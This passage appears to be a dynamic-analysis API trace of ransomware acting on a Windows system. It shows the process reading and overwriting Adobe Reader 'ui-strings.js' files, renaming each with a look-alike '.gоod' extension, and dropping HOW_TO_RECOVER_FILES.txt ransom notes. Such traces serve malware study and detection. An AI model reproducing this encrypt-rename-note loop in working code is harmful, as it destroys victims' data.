DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0264.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0264.156] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0264.157] GetFileType (hFile=0x8a4) returned 0x1 [0264.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0264.157] GetFileType (hFile=0x8a4) returned 0x1 [0264.157] GetFileSize (in: hFile=0x8a4, lpFileSizeHigh=0x1f9ee708 | out: lpFileSizeHigh=0x1f9ee708*=0x0) returned 0x570 [0264.157] ReadFile (in: hFile=0x8a4, lpBuffer=0x3a73a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee638, lpOverlapped=0x0 | out: lpBuffer=0x3a73a38*, lpNumberOfBytesRead=0x1f9ee638*=0x570, lpOverlapped=0x0) returned 1 [0264.158] CloseHandle (hObject=0x8a4) returned 1 [0264.392] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0264.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0264.392] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0264.394] GetFileType (hFile=0x828) returned 0x1 [0264.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0264.394] GetFileType (hFile=0x828) returned 0x1 [0264.394] WriteFile (in: hFile=0x828, lpBuffer=0x379c4d0*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x1f9ee548, lpOverlapped=0x0 | out: lpBuffer=0x379c4d0*, lpNumberOfBytesWritten=0x1f9ee548*=0x580, lpOverlapped=0x0) returned 1 [0264.394] CloseHandle (hObject=0x828) returned 1 [0264.394] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0264.394] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0264.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0264.394] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x99cda11d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x580)) returned 1 [0264.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0264.395] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\ui-strings.js.gоod")) returned 1 [0264.396] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0264.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0264.396] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0264.397] GetFileType (hFile=0x828) returned 0x1 [0264.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0264.397] GetFileType (hFile=0x828) returned 0x1 [0264.398] WriteFile (in: hFile=0x828, lpBuffer=0x379fde0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x379fde0*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0264.398] CloseHandle (hObject=0x828) returned 1 [0264.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0264.398] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no", lpFilePart=0x0) returned 0x77 [0264.399] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0264.400] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.400] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.400] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0264.400] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0264.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0264.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0264.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0264.400] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no", lpFilePart=0x0) returned 0x77 [0264.400] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b340 [0264.401] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.401] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.401] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.401] FindClose (in: hFindFile=0x134b340 | out: hFindFile=0x134b340) returned 1 [0264.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0264.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0264.401] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0264.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0264.401] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x37b0078 | out: lpFileInformation=0x37b0078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x553)) returned 1 [0264.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0264.402] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0264.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0264.402] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0264.402] GetFileType (hFile=0x828) returned 0x1 [0264.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0264.402] GetFileType (hFile=0x828) returned 0x1 [0264.402] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1f9ee708 | out: lpFileSizeHigh=0x1f9ee708*=0x0) returned 0x553 [0264.402] ReadFile (in: hFile=0x828, lpBuffer=0x37b0978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee638, lpOverlapped=0x0 | out: lpBuffer=0x37b0978*, lpNumberOfBytesRead=0x1f9ee638*=0x553, lpOverlapped=0x0) returned 1 [0264.403] CloseHandle (hObject=0x828) returned 1 [0264.838] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0264.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0264.838] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0264.839] GetFileType (hFile=0x828) returned 0x1 [0264.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0264.839] GetFileType (hFile=0x828) returned 0x1 [0264.839] WriteFile (in: hFile=0x828, lpBuffer=0x3792d18*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x1f9ee548, lpOverlapped=0x0 | out: lpBuffer=0x3792d18*, lpNumberOfBytesWritten=0x1f9ee548*=0x560, lpOverlapped=0x0) returned 1 [0264.840] CloseHandle (hObject=0x828) returned 1 [0264.840] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0264.840] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0264.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0264.840] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9a12c3da, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x560)) returned 1 [0264.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0264.840] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\ui-strings.js.gоod")) returned 1 [0264.841] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0264.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0264.841] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nb-no\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0264.842] GetFileType (hFile=0x828) returned 0x1 [0264.842] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0264.842] GetFileType (hFile=0x828) returned 0x1 [0264.843] WriteFile (in: hFile=0x828, lpBuffer=0x3796628*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x3796628*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0264.843] CloseHandle (hObject=0x828) returned 1 [0264.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0264.844] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl", lpFilePart=0x0) returned 0x77 [0264.844] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0264.844] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.845] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x55a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.845] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0264.845] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0264.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0264.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0264.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0264.845] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\nl-nl", lpFilePart=0x0) returned 0x77 [0264.845] FindFirstFileW (in: lpFileName="C:\\Program Files 